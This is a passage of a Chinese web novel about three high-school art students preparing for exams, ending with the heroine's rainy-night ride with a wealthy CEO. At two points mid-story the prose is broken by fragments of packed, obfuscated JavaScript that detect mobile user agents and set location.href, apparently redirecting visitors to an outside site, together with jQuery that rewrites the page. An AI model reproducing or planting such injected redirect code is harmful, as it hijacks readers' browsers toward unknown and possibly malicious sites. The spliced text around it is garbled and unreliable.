“车就停在巷子口,我们跑快一点,五分钟就能到。放心吧,蒋叔开车很稳的!”全嵘望着大雨,竟然跃跃欲试。 “小梧,你呢?”林苔问。 冷梧说我都可以。 下一秒,全嵘握住她的手腕,笑着说:“走啦!” 他推开门,脱下身上的衬衣,挡在二人头上。 “我们跑吗?”他傻气又礼貌地问。 冷梧攥住他的衬衣一角,肩头不慎撞上他的胸膛。他身上有淡淡的雪松味,极淡极淡,衬得她的声音很轻:“跑吧。” 两人就这样冒雨跑出去,衬衣布料薄薄,很快打湿冷梧的发,她抬头看天——少年下颌微昂,眉骨棱角分明,正绷着唇往前跑。他好似察觉到她的目光,忽然间低下头,那股雪松味扑面而来。 与之而来的,还有一个灿烂的笑。 他逆着光,眼睛却很亮。 冷梧听见了心跳声。 扑通、扑通。 可她分不清是谁的。 因为雨在变小。 冷梧忽然回头笑:“小苔,一起跑啊!” 全嵘也回头,“小蘑菇,别磨叽啦!” 林苔站在店门,见路灯映得雨水如柳丝,随风拂过她的脸。原来雨小了。狭窄的街道里,少年们回头对她招手,笑容明朗璀璨,一遍遍说:“一起跑啊!” 明明前方有两个人,可林苔只看见了冷梧。她在奔跑,长发在空中飞扬,甩起的弧度像燕尾。 “等等我!”林苔怔了一下,随后立刻踩过水坑,“小梧,等等我呀!” 这场雨成功让三人感冒,连续吃药一礼拜。 · 机构开始对参加校考的学生进行分班,各地美院不同,风格也就不同。分班主要针对八-大美院,剩下六-大艺术学院并不分班。 林苔去了羊美班,冷梧继续在原班级待着。仿佛是命中注定,宁艺也有漆艺。 距离联考还有三十多天,接着到各个学校的校考,还要熬到年前才能回家。冷梧将艺考的事瞒得很好。一周回一趟家,为了应付家里,还学了两句韩语。 宿舍小团体不敢再找冷梧的茬。她现在成绩稳定,排在画室前三十名到四十名之间,考上大学是没问题的。 全嵘本就是特长生,成绩拔尖,老师鼓励他去考央国音,但他没那个想法,还说:“不想出省,没必要。” 衡约三人组是一个稳定的三角形,日子努力又平淡。三人一起吃饭,一起写卷子,一起出去玩,真是苦中作乐。 全嵘的母亲来过一次机构,碰巧遇见全嵘与冷梧在树下闲聊。 全母个子高挑,烈焰红唇,眼睛像一只豹子。她踩着高跟鞋,上下打量着冷梧,“小嵘,这位是?” “妈,这是我的同班同学冷梧。”全嵘兴高采烈地介绍。 全母审视的目光让冷梧觉得不适,她仍保持礼貌:“阿姨好,我叫冷梧。是全嵘在临华的同学。” 全母淡淡一笑,很轻地点头,然后示意全嵘过来,“和我去跟校长打个招呼。联考近在咫尺,接下来是校考,今晚去和星海的教授……” 全嵘跟上母亲的步伐,一边走一边回头,用口型无声地说:“下晚修见!” 冷梧抿唇,轻轻挥手。 母子二人走进电梯,关上门的瞬间,全母道:“这就是你提过的那个女同学?” “对呀!妈,她是不是很漂亮?我跟您说,她画画可厉害了……”全嵘很是兴奋,可话音未落,却被母亲冷冷打断:“把心思收起来。等上了大学,你会见到不一样的女孩。” 7. 07坚定 “我只喜欢她。”全嵘认真。 “小嵘,这不是喜欢。你还没有长大,能明白什么?” 电梯门开,全母止住话头。老师们笑脸相迎:“您来了!我们正准备下去接您。” “文校长,您太客气了。”全母被簇拥着往前走。走出几步后,她回头一瞧,见儿子愣在原地。不由轻斥:“小嵘,还不跟上来?” 全嵘这才回过神,不得已跟上母亲的背影。 · “小梧,礼拜四是不是你生日呀?”林苔趁课间跑回原班级。之前高考报名,她帮冷梧操作,便记下了生日。 “我不打算过生日了。”冷梧从画板中抬头,“还要上课呢,我向老师申请拿十分钟手机,给家里打个电话就行。” 她的生日是11月14日,可惜不是周末,注定要在画室中度过。 “那可不行,这么重要的日子,怎么能随便过!”林苔斩钉截铁,“十三号下晚课后,你就在美术楼下等我。” 还没等冷梧回答,林苔已一溜烟跑开。 全嵘就站在楼下等候,他送走母亲后,心情不太愉快。 “小梧怎么说?”他紧张地问。 “嗯……我觉得她答应了,因为没拒绝。可我们怎么出去买蛋糕?” 全嵘登时阴转晴,拍了拍胸脯:“放心,包在我身上!” 等到星期三晚上快十二点时,林苔又偷溜回原班级。临近联考,教室里几乎全是人。 “小梧,走啦!”林苔悄咪咪说,拉了拉冷梧衣袖,“陪我去上厕所,我害怕。” 冷梧正在练速写,见人委屈巴巴的样子,便放了下笔起身:“走吧。” 林苔迅速挽上她的手臂,半拉半推地来到音乐楼。 冷梧奇怪,“不是说好去上厕所吗?” “我有个东西放在全嵘那里,陪我去拿一下嘛。”林苔撒着娇,将人带到一间偏僻的琴房里,“你在这里等我,我去找全嵘!”说完,咋呼呼跑出去了。 冷梧看了眼表,距离零点还有三分钟。 靠在窗前,莫名想到以前。小时候,家里还没有搬新家,妈妈每年都会订一个大蛋糕,请周围邻居陪她过生日。 “祝你生日快乐,祝你生日快乐,祝你生日快乐……”生日歌突然从身后响起,冷梧回头,发现全嵘捧着蛋糕,蛋糕是纯白色,像天使雕塑。 林苔踮起脚尖,将生日帽戴在冷梧头上。 “小梧,十八岁生日快乐。”烛光将全嵘双眼衬得明亮。他眼里满是真心,满是她的身影。 “小梧,生日快乐呀!”林苔高兴地说。 冷梧望着蛋糕,温暖的烛火在跳跃,心里似乎有什么东西在随之融化。 “全嵘、小苔,谢谢你们。”烛火中,冷梧眉眼柔和,带了点温度。 全嵘情不自禁跟着笑:“你猜我怎么出去的?我之前找老师批假条,日期是用铅笔写的,这样可以出去好多次。你放心,这不是芒果味的蛋糕,是蓝莓味的。” 冷梧一怔。 机构在郊区,又不是周末,他的司机肯定不在羊城。他就这样逃跑出去,只为给她买一个蛋糕。 “我和小卖部老板打好关系,蛋糕一直冰在店里的冰柜。现在正好是11月14日零点,”全嵘再次郑重说,“小梧,生日快乐。” 饶是冷梧再平静如水,此刻面对这颗真挚的少年心,竟意外地同频跳动。 他记得她不喜欢吃芒果,还记得她喜欢白色。 “小梧,许愿吧!”林苔扬声。 冷梧望向林苔,她的圆眼睛亮亮的,笑起来很是可爱。 “第一个愿望,祝我们都能考上心仪的大学。第二个愿望,”冷梧轻声,“希望妈妈爸爸平平安安。” 第三个愿望——冷梧睁开双眼,在心中默念:永不失败。 · 时间弹指一挥间。 美术艺考的考点是按户籍所在地划分,冷梧必须回鹏城参加考试。而全嵘作为器乐生,音乐类艺考却是在明年一月中旬。 他因不能陪冷梧回鹏城,而感到遗憾和难过。 十一月二十九日,清早。各个学校的考生集聚在机构空地,校长握住话筒,巨大的联考倒计时只剩下数字“2”。 “最后两天,稳住节奏!同学们,记住了,每一笔都是通往美院的阶梯,每一色都是青春独有的光芒。放手去战,考场即是你加冕的战场!”校长激情澎湃的声音回荡在空中。 底下是一张张憧憬、兴奋的青春面容。 整整五个月的奋战,终于要迎来最后的时刻。 “衡约的学子们,无论你们成绩如何,在这条路上,你们已经对得起自己了!青春之约,就用画笔落下最后的帷幕吧!”校长动情道。 林苔挤过人群,“哇”地一声哭出来,“小梧,你要回去了……加油,我相信你一定能考好!” 冷梧知道林苔压力大,如今临近联考,分数还是不上不下。明明心里焦急,还要跑过来鼓励冷梧。 “有句话怎么说?反者道之动。老师也说,有人能在联考中突破,然后取得高分。小苔,我相信你就是那个人。”冷梧轻轻抱住她。 林苔眼睛湿漉漉的,带着不舍与希冀,“真的吗?” “真的。”冷梧坚定。 全嵘走了过来,“小梧,加油。”他一只手背在身后,一只手摸了摸脑袋。又将目光飘忽到远处,最后手一翻,翻出一束白茉莉。 “我看很多人都在高考前送花……”全嵘深呼吸,“小梧,就让它代我陪你回鹏城。” 白玫瑰太暧昧,而茉莉有另一重含义:赠君茉莉,劝君莫离。 全嵘侧着脸,似乎不敢看她。冷梧双手接过,茉莉的清香扑鼻而来,“谢谢你,全嵘。” 她明白茉莉的含义,明白冷风中的温暖。 “我才去两天,很快就回来……”冷梧笑着对林苔说,“还要备战校考呢。到时候换我们送全嵘进考场。” 全嵘红了耳尖,从书包里掏出另外一束花,是一把向日葵,上面写着“艺考加油”四个字。 “小蘑菇,这是送给你的。你也要上考场了,作为朋友,将最热心的祝福送给你!”全嵘冲林苔挑眉,臭屁极了。 林苔夸张地哇出声:“全嵘,你小子可以啊!”她接过花,“不枉费我做你和小梧的调节带,够义气!” “你说什么呢!”全嵘扭扭捏捏。 冷梧嗅着花香,笑着看这俩拌嘴。 这一刻,青春化为实质。 · 公交车载着她去动车站,冷梧坐在车里,身侧却没有全嵘和林苔,只有其他临华的学生。 “小梧——” “小梧——” 在车窗外,有人大声叫着她的名字。冷梧打开窗,全嵘的声音传了进来:“稳住心态!好好发挥!只要你想成功,就一定成功!” 林苔掂起脚,为冷梧加油打气:“考完试回来去吃海底捞!海底捞捞捞过!” 公交车开始发动,慢慢驶出机构大门。 “等我回来。”冷梧没说再见。 全嵘和林苔追着车跑,直到车子渐渐提速,他们才停下来。冷梧回首,见两人站在原地,还在用力挥舞手臂:“小梧,加油——” 而他们身后,清晨的太阳格外耀眼。 冷梧捧着茉莉花,情不自禁地轻轻挥手。全嵘和林苔的身影化成一个小点,慢慢消失在远处。她回到车里,发现自己竟然流出眼泪。 这是冷梧上高中后第一次哭。一双眼睛流淌着溪水,望着前方没有尽头的路。 她擦干眼泪,要往前走,不能回头。 · 三十号,凌晨五点,天空如黑丝绒一样,太阳不知何时升起。学生们已经开始奔赴考场。 冷梧穿着风衣,背着快二十斤重的画袋,一手拎着老师塞来的早餐。 临华中学的大本营是五个棚子,老师们不厌其烦地叮嘱:“考完第一科,马上回到大本营吃饭。想睡觉的同学,就用画室凳眯一会,老师会叫你们起床的。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500956|202728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“稳住心态啊,千万不要被身旁的人影响!保持自己的节奏,不要临时乱改主意。老师相信你们,一定可以旗开得胜!”其中一个老师慷慨激昂。 冷梧再三检查准考证,认真核对画袋里的物品。 天色放明,大家开始陆续排队检阅。几千多人像一群蚂蚁,迫不及待地涌入考场。 美术联考就是这样,你挨着我,我挨着你。如果身边人画得比自己好,心态极其容易崩掉。 老师告诫学生:“交卷时,一定要确保身后的人的卷子没有涂黑。有些人鬼心思多,会把试卷背面涂黑,一旦盖上你的画,整幅画就都毁了。还有画色彩时,离水桶远一点。有些人洗笔、甩笔,力气特别大,要是甩到你的画上,你的试卷又毁了。不要低估人心!艺术高考也是高考,一分压倒一群人!” 冷梧深呼吸,第一场是素描,模特是男老年。她平静提笔,开始飞快打型。素描考完,下午便是速写。 大本营里,果然有人叹气:“我旁边的人画得太厉害了,太搞心态了!感觉我要复读了……” “这个男青年的角度,之前再画室画过一次,没想到押中题了!” …… 交谈声此起彼伏,冷梧没插话,不搭理。老师分着盒饭,食-欲最能体验心情,考完一场放松下来,她似乎开始有了胃口。 不知道林苔考得如何?冷梧望着天,在心里为林苔祈祷:超常发挥。 下午考速写,画一个坐着弹吉他的男生,并默写一个唱歌的人。速写是冷梧特长,她稳住心情,正常发挥。 明日是最后一场,色彩科目考试。老师没发手机,怕学生上网影响心态。 在十二月一号,第一个未亮的清晨,冷梧踏入考场。色彩考题有点邪门,一个烤鱼铁锅为主体,两个柠檬散落,并几个瓶瓶罐罐。 烤鱼铁锅没画过,看到考题的一瞬间,考场倒吸一口冷气。 “这怎么画呀?” “这题也太烂了。” 冷梧也没画烤鱼铁锅,硬着头皮上,中规中矩画完了色彩。 考场的吹风机在排队,他们需要等颜料干了才能交卷。冷梧举着小功率的吹风机,吹着自己的画面。 冷风轻轻的,就这样吹干她的画。 吹走艺考的五个月时光。 交卷后,她走出教室,望着蓝澄澄的天空,释然一笑。 无论结果如何,都会选择接受。 大本营里,老师开始分发手机。 刚开机的一瞬间,林苔的电话就打了进来:“小梧,考得怎么样?” 冷梧吸了吸鼻子,“算正常发挥。” “那就好!我感觉我这次开窍了,突然就会画了,说不定是文曲星上身……”电话那头,林苔声音雀跃。 冷梧真心为她高兴:“小苔,你果然可以的。” 林苔没有说话。良久,哭声从电话中传来:“艺考就这样结束了呀!就这样结束了……” 在微凉的寒风中,高三学年的一半时光,就这样悄无声息结束。 · 第二天,冷梧返回羊城。艺考已经结束,不想参加校考、选择拼文化的同学选择离开。画室少了三分之一的人。 林苔一见面,立刻送上大拥抱:“今天放假,我们去吃海底捞!” 全嵘还要备考,因为减肥,下颌线变得非常清晰,巴掌大的脸却更凸显出五官俊朗。他烫了满满一锅的蔬菜,林苔笑话他太可怜了。 一月中旬,音乐统考如约而至,该轮到全嵘上场了。 全嵘身着西装,披着大衣,在寒风中冻得鼻尖微红。 “全嵘,你一定可以的!”林苔向他挥手。冷梧目送他上车,祝福他:“旗开得胜。”她们共同将一束向日葵送到全嵘面前。 这次换成冷梧和林苔在车后面加油。 “全嵘,加油呀!” 公交车上,他望着两个女孩渐渐变小的身影,很没出息地哭了。 前方的太阳缓缓升起,属于全嵘的冒险即将独自开启。 8. 08初遇 寒假来临,新年前夕,冷梧必须回家小住。 林苔问:“会不会落下进度?” 冷梧却不担心。校考风与联考风不一样,她转变画风时,遇到了一点瓶颈。也许松懈一下,能促进开悟。 “你放心吧。高三初五就开学了,我就回家待一个多礼拜。”动车站里,冷梧与林苔拥抱,“我们回头见!” 她们约定好一月三十号查艺考成绩。林苔目送冷梧离去,笑着用力挥挥手。 冷梧坐上动车,和全嵘发信息,说已经上车。他早被全母接走了,所以她才一人回鹏城。 羊城到鹏城不过是半个小时的路程,冷梧很快到家,刚推开门,她就迫不及待叫:“老爸!” 可大平层的客厅空空无人。 按理来说,今天是放假日,家里应该有人才对。冷梧踱着步子,打算先回卧室洗澡。 走进长廊,主卧却是紧紧闭合着。 冷梧鬼使神差走过去,隔着门,若有若无的声音从地缝中飘来。 “上次我和蔡老板吃饭,他身边不是蔡太,你猜是谁?” 说话的是母亲刘棠。 一门之隔的卧室里,刘棠把玩着一只翡翠镯,高冰飘花,如轻盈柳絮。 冷鸣没转过弯:“是谁?” “你傻呀!”刘棠将镯子套进腕中,“一个年青女孩,看模样最多二十岁。” 冷鸣回过味:“难怪你执意送小梧出国念书。” 刘棠冷笑:“我们到底是生意人,比不得他们。虽说背靠大树好乘凉,可一旦树倒猢狲散,我的女儿,还有谁会尊重?” 冷鸣忧心忡忡:“那之前你还一直带她去饭局。” 刘棠睨去一眼:“我总不能让她稀里糊涂当一朵温室的花。我就这么一个心肝宝贝,卖女求荣的事断断做不出。把她送出去,最好是念完书后移民。” 冷鸣压低声音:“怎么回事?” “他们把羊城的那块地卖了。”刘棠不欲深说,“你别问了,我自有分寸。” 冷鸣叹气,妻子一向拔尖要强,主意极大,无人能左右。 “手续合法合规。”刘棠看透丈夫的担心,宽慰道,“现在正好合适。” 冷鸣不再多言,选择相信妻子。他走出卧室,却见女儿坐在沙发上。 “小梧回来了?”他很惊喜,“怎么不和爸爸提前说,我好去接你。” 冷梧笑得俏皮:“给你们一个惊喜啊。” 他这个女儿随妈,心里主意大得很,在家里是说一不二的皇帝做派。她有一种非常严苛的边界意识,如果她不提要接,他贸然去到学校,一定会被说上两句。 “回家洗过手了吗?爸爸给你切水果。”冷鸣一见到女儿,笑意率先在脸上绽开,仍把她当成八岁的孩子。 冷梧靠在沙发上,小腿有一下没一下地翘着,显然尤为放松:“洗过啦。” 不一会儿,冷鸣将果盘放在客厅桌上,冷梧钎了块哈密瓜,一边打开电视,一边问:“妈妈呢?” “你妈她在……” “除夕快乐,我的宝贝。”刘棠突然出现,神秘兮兮地从身后拿出一个袋子,蒂芙尼蓝的包装点亮了室内。 “妈妈从香港带回来的。”刘棠慈爱地打开盒子,是一条蓝心项链,“你戴这个最好看。” 十八岁的少女,的确戴这个最好看。优雅中带着轻盈。 冷梧倒不惊讶,平平静静接过。 刘棠为女儿戴上项链,轻声笑道:“知道你想参加高考,但不管考得如何,都是我们的骄傲。不要给自己太大压力。” 冷梧乖巧点头,抱住母亲的腰。 “好了,我去做饭。”冷鸣一旁乐呵呵,“今晚是大年三十。” 他经营着一家米其林一星的粤菜馆,近几年逐渐退居幕后。家里向来是他做饭,刘棠完全是甩手掌柜,不参与任何家务事。 冷鸣做白切鸡,鸡是专门开车去山里抓的。白切鸡是浸出来的,而非煮出来的。外皮油亮嫩黄,切开后带有一层啫喱。 他记得女儿不爱吃蒜,因此将蘸料换成红葱头酱油。除了必不可少的白切鸡,还有清蒸海鲈鱼、白灼九节虾…… 夜幕降临,一家人碰杯,庆祝这份团聚。 此省对春晚不太热切,冷鸣兴致勃勃做烤全羊宵夜,冷梧则在一边等候零点。 “叮铃铃——”手机响起,她走到阳台接通电话。 “小梧,还有三分钟就过年啦!”全嵘的声音冲破屏幕,格外雀跃。 冷梧将手搭在栏杆上,声音细腻:“我知道。” 全嵘碎碎念:“我家来了一群人,这几天我有点忙,可能不能陪你。等查成绩那天,我们再出来玩……” 冷梧浅笑着,就这样听他说话。 “十、九、八……”烟花腾飞,伴随着新年倒计时,全嵘完美地将话落在最后一秒,“小梧,新年快乐。” “全嵘,新年快乐。” 望着漫天绚丽的烟花,冷梧同样祝福他。林苔的消息马上弹了出来,她挂掉电话,选择与林苔煲电话粥。 新年,就这样来到所有人身边。此刻万家灯火,喜至庆来。 · 一月三日,大年初五。 临华的学生开始返校,冷梧借机回到画室。到了放榜日,机构上下紧张待命。 三人来到平时写作业的小房间内,林苔深吸一口气,向上天祈祷:“保佑我一定要过线,玉皇大帝王母娘娘……”儒释道三家都拜。 全嵘打趣道:“我帮你查,过线了就告诉你!” 林苔犹豫了一下,“算了,求人不如求己,我得靠自己!” 三人盯着时间,都紧张地点开查分系统。 一片静寂,似乎连呼吸都屏住了。 该如何形容这一秒?当时血液凝固,眼睛只看着手机屏幕,丝毫不敢吸气、吐气。 “啊啊啊啊啊啊!”林苔发出一声爆鸣,语无伦次地哭起来,“我过线了!我考了两百三十分!” 林苔绝对是超常发挥,她平时一般在二百一到二百二之间徘徊。 冷梧望着手机屏幕上的“250”,省排两百多名。作为半路出家的美术生,她对这个成绩相当满意。 全嵘考进全省前十。他是童子功,算稳定发挥。三个人抱在一起,兴高采烈地欢呼。曾经所有的努力在此刻变成庆祝的礼花,洋洋洒洒落在他们身上。 这五个月,真不容易,还好都能如愿以偿。 · 一个月后,校考如约而至。 冷梧独自奔赴宁城,这件事只有林苔知道。她还几番叮嘱:“晚上睡早一点,闹钟一定要定好,千万不能吃饭了。听说宁城的鸭子很有名,亲爱的小梧,你帮我带些特产回来,好不好?” 冷梧满口答应。 考试前,她再三检查准考证,生怕丢三落四。等真的来到宁艺大门时,她不禁一阵恍惚。 “宁城艺术学院”六个大字,刻在门口的石墙上,在阳光中莫名地不真切。 考试正常发挥,全程没出什么差错。 冷梧打算在宁城玩两天,正值二月初,梅花开放。瞻园与灵谷寺,落英缤纷,暗香浮动。 她回到酒店,洗了个澡出门觅食。吃了大名鼎鼎的鸭血粉丝汤,然后给林苔买好伴手礼,结束这一天的历程。 次日是星期五,冷梧睡到中午才醒。虽然出去玩,可她磨磨蹭蹭,没化妆竟也拖到快两点才出门。 瞻园素有江南第一园之称。绿萼梅与腊梅齐开,静妙堂白墙前,数点莺黄,暗香幽幽。穿着明式汉服的女子与梅合影,细细的眉,蹙成小春山,一绺辫子垂在肩上,恍如姑苏林黛玉。 冷梧闲情逸致地拍照,保留这个独一无二的春景。 从园子出来后,她打车去吃饭。吃完饭已是八点多,她向来是个不爱做攻略的人,索性沿着街道散步当消食。 夜里春寒料峭,风刮在脸上,倒有些生疼。冷梧走了二十来分钟,便打算打车回酒店。可刚取出手机,一道惊雷劈开天际,大雨瞬间倾盆而下。 没带伞,她急忙找地方躲起来。雨水落在身上,寒意刺骨般袭来。 根本叫不到车。冷梧望着手机,时间在一分一秒过去。谁料刘棠一个电话过来:“明天周末,婆婆来鹏城了。给你带了糖油粑粑,明天老爸去接你——小梧,你那边在下雨?” 冷梧稳定心神,掩饰着:“老师在给我们放电影呢。” 刘棠信以为真,叮嘱了几句:“明天下午不是有半天假么?我们在校门口等你。” 挂断电话后,冷梧果断改签了凌晨的航班,一定要在今晚回到鹏城。 路上车来车往,她索性心一横,伸出手臂,直接在路上拦车。 可暴雨中,没有一辆车为她停留。 冷梧立刻决定,高考后第一件事就是考驾照。 眼看半小时过去,她还待在原地勉强躲雨。因为没带伞,身子淋湿泰半。 可她岂会轻易放弃?如果拦不到车,自己偷偷走艺考的事一定会东窗事发。 冷梧握紧拳头,突然冲出去——
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500957|202728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “滴!”一声车鸣声响起,黑色的红旗国礼在雨夜中隐隐流淌着华光。 戴白手套的司机摇下车窗,“姑娘,你不要命了?” 冷梧不管什么命不命的了,先处理好眼前事再说。她用手抵在额前,脸在雨水中愈发白净:“您好,请问能不能载我一程?我可以付钱!” 司机无奈往后看:“叶总。” 后排的男人在打电话:“是,鹏城的项目,是小董在跟进。他们的出台的新政策……” 男人听见询问,一抬眼,只见车外雨帘中,有张素脸浮现,眼里藏着一股不服输的劲。 风雨苍凉,她却像棵树,在执着屹立。 “让她上来吧。” 他挂断电话。 司机打开后车门,冷梧连连道谢,“去丽思卡尔顿,谢谢您。”她弯腰进去,与车内的人目光交汇。 男人穿着黑色大衣,里面是西服。白衬衣扣得严丝合缝,别着银色领带夹,一副正襟危坐的模样。 “您好。”冷梧说。 男人下颌一顿,幅度很小,似是回应。面容远观如白玉温润,可目光似融化的春雪,藏着淡淡疏离。 她怔了一下,随后很快说:“先生,实在抱歉,雨天打不到车。我因为有急事,不得已拦下您的车……” “无妨。”他的声音静且低沉。 冷梧坐得很谨慎,哪怕隔着中央扶手,仍离他远远的。 有外人在,他收起手机,目光不轻不重,看向右边的女孩。 她将湿漉漉的长发挽在耳后,正用纸巾擦着发尾,叠戴的戒指流光溢彩,衬得一双手白皙剔透。 他移开视线,闭上眼养神。 车内寂静,暖气扑面而来,与寒凉的体温相撞,她不由感到一阵寒栗。 冷梧克制地打了喷嚏:“抱歉。” 他睁眼,见女孩有些瑟瑟发抖。 “穿这个吧。”他解下大衣。 冷梧下意识拒绝:“多谢您的好意,心意我领了。” “举手之劳。” 他递过大衣时,腕上深棕色百达翡丽,在幽深的车内低调一闪。 冷梧心想,不能被冻死,还要活着回鹏城,便说:“谢谢您。” 她接过大衣,黑色羊绒摸起来轻且柔软,还留有一丝体温。 春雪未必冷冽,他说:“不客气。” 她换上大衣,衣领传来若有若无的男士香水味。很淡,转瞬即逝。 车内仍寂静万分。 冷梧望向窗外,雨似乎从大转小,斑斑落在玻璃上。像有人哭泣后,流出的泪珠。 夜景一晃而过。 她无端想到张爱玲的一段话:“雨声潺潺,像住在溪边。宁愿天天下雨,以为你是因为下雨不来。” 此情此景,倒真成了下雨不来,明天去灵谷寺的计划泡汤。 玻璃上渐渐凝出一道身影。她背对着他,却在窗上看清他的侧脸。 不是那种凌厉的长相。鼻梁挺拔,鼻尖却内弯,弧度完美。仿佛天生能包容万物,是个儒雅温和的人。 一滴雨落下,划散了身影。冷梧眨眨眼,选择继续看雨。 男人不经意望过去。 女孩侧着脸,鼻子挺直,皮肤白皙。 可不知何为,他只留意到她低垂的睫毛。薄,不浓密,眨眼间颤颤巍巍,如一对灵巧的蝶,飞在灯红雨绿的长夜中。 车停在人行道后,蝴蝶飞进一团融融火焰中,原来是红灯落入她的眼中。 飞蛾扑火的仿佛另有其人。车里隔绝雨声,惟有万籁俱寂。 · 不多时,车抵达酒店。 礼宾立刻撑着伞走到门边,冷梧从包里抽出两百块,压在座位上,声音飞快:“谢谢您,我不能白搭您的车。”推开车门,雨已经变小。 “小心雨水。”礼宾温馨提醒。他见车里就下来一个女孩,里面的男人坐如泰山,并没有多问。 隔着车窗,见她背影匆匆。男人伸出手臂,两指夹起钞票,不由稍稍失笑。 女孩走得快,情急之下,连自己的大衣都没带。纯白大衣湿答答,带着雨中寒意,一点点滴落在车中。 他从口袋中摸到一张湿透的纸,上面端正印着“宁城艺术学院美术校考准考证”。 目光轻移,落在照片上。女孩面容清丽,淡极生艳。 然后,看见一旁的名字—— “冷梧”。 人如其名,清冷,坚韧。 这两个字,就这样稳稳当当落入他的眼中。 9. 09雨夜 冷梧回到房间,脱下脚上的芭蕾平底鞋。白色袜子沾染着红色,她不禁扶额,以后绝不在雨天穿repetto了。 身上还湿着,她赶忙去洗澡洗头。等收拾行李时,才发现大衣不见了。 那件大衣是刘棠从日本带回来的,Sportmax的纯白,汇率好,买下时才三千多。 刘棠会赚钱,冷梧从小就意识到,要有自我产出的独立金钱,这样可以自由支配。无论是买给自己,还是买给孩子。 冷梧记不清大衣究竟拿没拿。她向来是个漫洒的人,不太在意东西的得失。既然找不到,索性不再管。 门铃响起,侍应生送来感冒药,贴心地说:“如果您感到不适,请及时拨打客房电话。” “谢谢。”冷梧就水服药。 她有一点拖延症,收拾好行李后,时间已经迫在眉睫。 又是匆忙打车去机场,等到机场时,距离值机只有三十分钟。 只好一路狂奔,整得比体育中考还紧张。 芭蕾鞋底薄,跑起来脚底板疼。冷梧背着二十斤重的画袋,一手拎着颜料盒,一手拉着20寸行李箱,一路火花带闪电。 “超级晚到!” 安检员口口相传,冷梧无地自容,但也因此畅通无袖。她一连声地说:“谢谢!太谢谢了!” 广播里播报着冷梧的名字,她觉得双腿已废,极限速通T2,沿路人员齐刷刷喊道:“加油!跑起来!你可以的!” 千钧一发之际,冷梧闪进飞机中,气喘吁吁,可谓狼狈至极。 空姐为她放上行李,温柔说:“没关系的。” 冷梧道谢,坐在位置上反应过来后,忽然间无声大笑。 看吧,人生的容错率低得离谱,只要拼尽全力,有一点运气加持,成功率会大大增加。 云端之上,宁城渐渐消失于黑夜之中。飞行两个半小时后,顺利落地鹏城。 · 冷梧在学校附近订了酒店。打算趁明天中午之前,将行李放回宿舍,再从校门正大光明离开。 身上还是黑色大衣,男士香水味虽淡,却久久不散,似乎要洇进她的肌肤中。 她脱下,看了一眼精致的标签:Dunhill。 打开手机,在秀场上找到了这件大衣。男模穿得松弛,那个男人却别有一番风味。 想到他腕上一晃而过的百达翡丽,这件衣服完全不值一提。 冷梧倒在床上,给林苔打电话,倾诉今天的颠簸历程。 “啊?”林苔尖叫,“你是说你拦车了?” “没错,还好上天眷顾,侥幸活了下来。”冷梧说,“危险行为,请勿模仿。” “给你上车的人是男的女的?” “男的。” 林苔声音雀跃:“帅不帅?” 冷梧认真回忆:“淡颜型,挺帅的。从画人头的角度看待,他眉骨与鼻梁的转折非常漂亮。不过没有全嵘帅啦。” 林苔笑得乐不可支:“你们有交换联系方式吗?” “没有。” “太可惜了!” “露水因缘,又什么好问的。”冷梧在床上翻身,“就记得他的车是国礼。你懂的。” 林苔啧了一声,笑嘻嘻说:“你更应该问。” “罢了。不过他人还不错,还把自己的大衣给我穿。” “大衣?”林苔好奇,“快翻一下,说不定里面有东西。” 冷梧说:“怎么可能?如果有东西,人家不会解下来。” “那可不一定。” “我去翻翻。” 她走到衣柜,大衣好好地挂在里面。她上下摸索,外面口袋什么都没有。 再往里翻,碰到内袋里一个长方形硬物。 她摸了出来,却意外手滑砸在地毯上,银光一晃而过。 原来是名片夹。通体是黑色皮质,嵌着一块银边,银边上好像镌刻着英文字母。 冷梧俯下身,眯着眼看清,是“Rong”。 姓荣吗? 丝绒地毯是酽红色,灯光下如一团艳火,裹挟着黑色名片夹。黑沉沉的,像块巧克力,一点点在火中消融。 她鬼迷心窍打开,抖出一张名片。用大拇指和食指卡住,目光静静落在上面。 “找到有关身份的惊喜了吗?”林苔笑问。 冷梧居高临下俯视名片,上面的烫金字体,赫然写着—— 墨芯科技CEO,叶西风。 · 叶西风离开酒店,先到公司拿文件,然后才返回山庄。 这一来二去,路上耗费两个多小时。 雨仍在下,山庄氤氲其中,倒像是浮在天上的仙境。 伫立在第一道大门的警卫兵,一见到车,立刻端正敬礼。车在雨帘中缓缓驶入深处。 近些年,老爷子年纪大了,不宜再住在颐和路的老公馆,便搬回山边的祖宅修养。他虽在市区独住,但每个月会固定回来小住几日。 山庄设计精妙,从地库便能管中窥豹。地库别出心裁做成下沉庭院,若是在白天,阳光垂直落入侧庭玻璃,与绿意叠石交融,如一副写意古画。 司机将车停在电梯门口,叶西风刚下车,就有人递来一件大衣。 他重新披上,忽然回头。那件纯白大衣还垂在车座上,像蝴蝶闭合着的翅膀。他拾起,搭在手臂上。 用人按了电梯,静静送他上楼。 信步走出电梯,正门处是山石堆景,影壁浮雕上,一道溪流潺潺而下,寓意流水生财。 “小叶总。”有人向他问好。 他颔首。越过一道影壁,又过了门厅,打眼见山石叠翠,好似无路。他熟悉地右转,一道长廊隐在绿树之下。用人在前面引路——无论来者亲族,还是客人,这都是必行规矩。 长廊挂着一排排黄灯笼,芭蕉树影与淅沥雨水,映照在白墙上,隐约笼住叶西风的身影。 